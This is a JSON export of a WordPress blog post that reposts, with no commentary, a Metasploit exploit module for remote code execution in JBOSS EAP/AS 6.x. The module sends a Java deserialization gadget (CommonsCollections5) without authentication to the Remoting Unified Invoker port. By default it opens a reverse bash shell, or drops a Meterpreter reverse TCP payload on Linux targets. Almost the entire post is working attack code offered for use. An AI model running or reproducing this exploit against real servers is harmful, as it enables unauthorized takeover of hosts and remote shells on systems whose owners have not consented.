{"id":26892,"date":"2022-07-13T01:00:03","date_gmt":"2022-07-12T21:00:03","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167730\/jboss_remoting_unified_invoker_rce.rb.txt"},"modified":"2022-07-13T10:47:08","modified_gmt":"2022-07-13T06:17:08","slug":"jboss-eap-as-6-x-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/jboss-eap-as-6-x-remote-code-execution\/","title":{"rendered":"JBOSS EAP\/AS 6.x Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\">##<br \/>\n# This module requires Metasploit: https:\/\/metasploit.com\/download<br \/>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>\n##<\/p>\n<p dir=\"ltr\">class MetasploitModule &lt; Msf::Exploit::Remote<br \/>\nRank = ExcellentRanking<\/p>\n<p dir=\"ltr\">include Msf::Exploit::Remote::Tcp<br \/>\ninclude Msf::Exploit::CmdStager<br \/>\ninclude Msf::Exploit::JavaDeserialization<br \/>\nprepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p dir=\"ltr\">def initialize(info = {})<br \/>\nsuper(<br \/>\nupdate_info(<br \/>\ninfo,<br \/>\n&#8216;Name&#8217; =&gt; &#8216;JBOSS EAP\/AS Remoting Unified Invoker RCE&#8217;,<br \/>\n&#8216;Description&#8217; =&gt; %q{<br \/>\nAn unauthenticated attacker with network access to the JBOSS<br \/>\nEAP\/AS &lt;= 6.x Remoting Unified Invoker interface can send a<br \/>\nserialized object to the interface to execute code on vulnerable hosts.<br \/>\n},<br \/>\n&#8216;Author&#8217; =&gt; [<br \/>\n&#8216;Joao Matos &lt;@joaomatosf&gt;&#8217;, # Discovery<br \/>\n&#8216;Marcio Almeida &lt;@marcioalm&gt;&#8217;, # PoC<br \/>\n&#8216;Heyder Andrade &lt;@HeyderAndrade&gt;&#8217; # msf module<br \/>\n],<br \/>\n&#8216;References&#8217; =&gt; [<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/s3.amazonaws.com\/files.joaomatosf.com\/slides\/alligator_slides.pdf&#8217;]\n],<br \/>\n&#8216;DisclosureDate&#8217; =&gt; &#8216;2019-12-11&#8217;,<br \/>\n&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>\n&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;],<br \/>\n&#8216;Arch&#8217; =&gt; [ARCH_CMD, ARCH_X86, ARCH_X64],<br \/>\n&#8216;Privileged&#8217; =&gt; false,<br \/>\n&#8216;Targets&#8217; =&gt; [<br \/>\n[<br \/>\n&#8216;Unix Command&#8217;,<br \/>\n{<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;unix&#8217;,<br \/>\n&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>\n&#8216;Type&#8217; =&gt; :unix_cmd,<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/unix\/reverse_bash&#8217;<br \/>\n}<br \/>\n}<br \/>\n],<br \/>\n[<br \/>\n&#8216;Linux Dropper&#8217;,<br \/>\n{<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;linux&#8217;,<br \/>\n&#8216;Arch&#8217; =&gt; [ARCH_X86, ARCH_X64],<br \/>\n&#8216;Type&#8217; =&gt; :linux_dropper,<br \/>\n&#8216;CmdStagerFlavor&#8217; =&gt; [ &#8216;printf&#8217; ],<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;PAYLOAD&#8217; =&gt; &#8216;linux\/x64\/meterpreter\/reverse_tcp&#8217;<br \/>\n}<br \/>\n}<br \/>\n]\n],<br \/>\n&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>\n&#8216;Notes&#8217; =&gt; {<br \/>\n&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>\n&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>\n&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n}<br \/>\n)<br \/>\n)<br \/>\nregister_options([<br \/>\nOpt::RPORT(4446)<br \/>\n])<br \/>\nend<\/p>\n<p dir=\"ltr\">def handshake_data<br \/>\n# MAGIC BYTES JAVA SERIALIZATION OBJECT HEADER<br \/>\n# AC ED: STREAM_MAGIC. Specifies that this is a serialization protocol.<br \/>\n# 00 05: STREAM_VERSION. The serialization version.<br \/>\n[&#8216;aced0005&#8217;].pack(&#8216;H*&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">def check<br \/>\nconnect<br \/>\nsock.put(handshake_data)<br \/>\ndata = sock.get_once(16)<br \/>\ndisconnect<br \/>\nreturn Exploit::CheckCode::Appears if data == handshake_data<\/p>\n<p dir=\"ltr\">return Exploit::CheckCode::Safe<br \/>\nrescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError =&gt; e<br \/>\nprint_error(&#8220;Error to connect #{rhost}:#{rport} : &#8216;#{e.class}&#8217; &#8216;#{e}'&#8221;)<br \/>\nreturn Exploit::CheckCode::Unknown<br \/>\nend<\/p>\n<p dir=\"ltr\"># def exploit<br \/>\ndef execute_command(cmd, _opts = {})<br \/>\njava_payload = generate_java_deserialization_for_command(&#8216;CommonsCollections5&#8217;, &#8216;bash&#8217;, cmd)<br \/>\n# MAGIC BYTES JBOSS PROTOCOL:<br \/>\n# 0x77: TC_BLOCKDATA<br \/>\n# 0x01: Length of TC_BLOCKDATA<br \/>\n# 0x16: Protocol version 22<br \/>\n# 0x79: TC_RESET<br \/>\nmagic_bytes = [&#8216;77011679&#8217;].pack(&#8216;H*&#8217;)<br \/>\npayload = magic_bytes + java_payload.byteslice(4..)<br \/>\nconnect<br \/>\nsock.put(handshake_data)<br \/>\nsock.get_once(16)<br \/>\nsock.put(payload)<br \/>\ndisconnect<br \/>\nprint_good(&#8216;Successfully sent payload&#8217;)<br \/>\nrescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError =&gt; e<br \/>\nfail_with(Failure::Unreachable, e.message)<br \/>\nend<\/p>\n<p dir=\"ltr\">def exploit<br \/>\nprint_status(&#8220;Executing #{target.name} for #{datastore[&#8216;PAYLOAD&#8217;]}&#8221;)<br \/>\ncase target[&#8216;Type&#8217;]\nwhen :unix_cmd<br \/>\nexecute_command(payload.encoded)<br \/>\nwhen :linux_dropper<br \/>\nexecute_cmdstager<br \/>\nend<br \/>\nend<\/p>\n<p dir=\"ltr\">end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule &lt; Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager include Msf::Exploit::JavaDeserialization prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, &#8216;Name&#8217; =&gt; &#8216;JBOSS EAP\/AS Remoting Unified Invoker RCE&#8217;, &#8216;Description&#8217; =&gt; %q{ An unauthenticated attacker with network access to the JBOSS EAP\/AS &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-26892","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26892","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=26892"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26892\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=26892"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=26892"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=26892"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}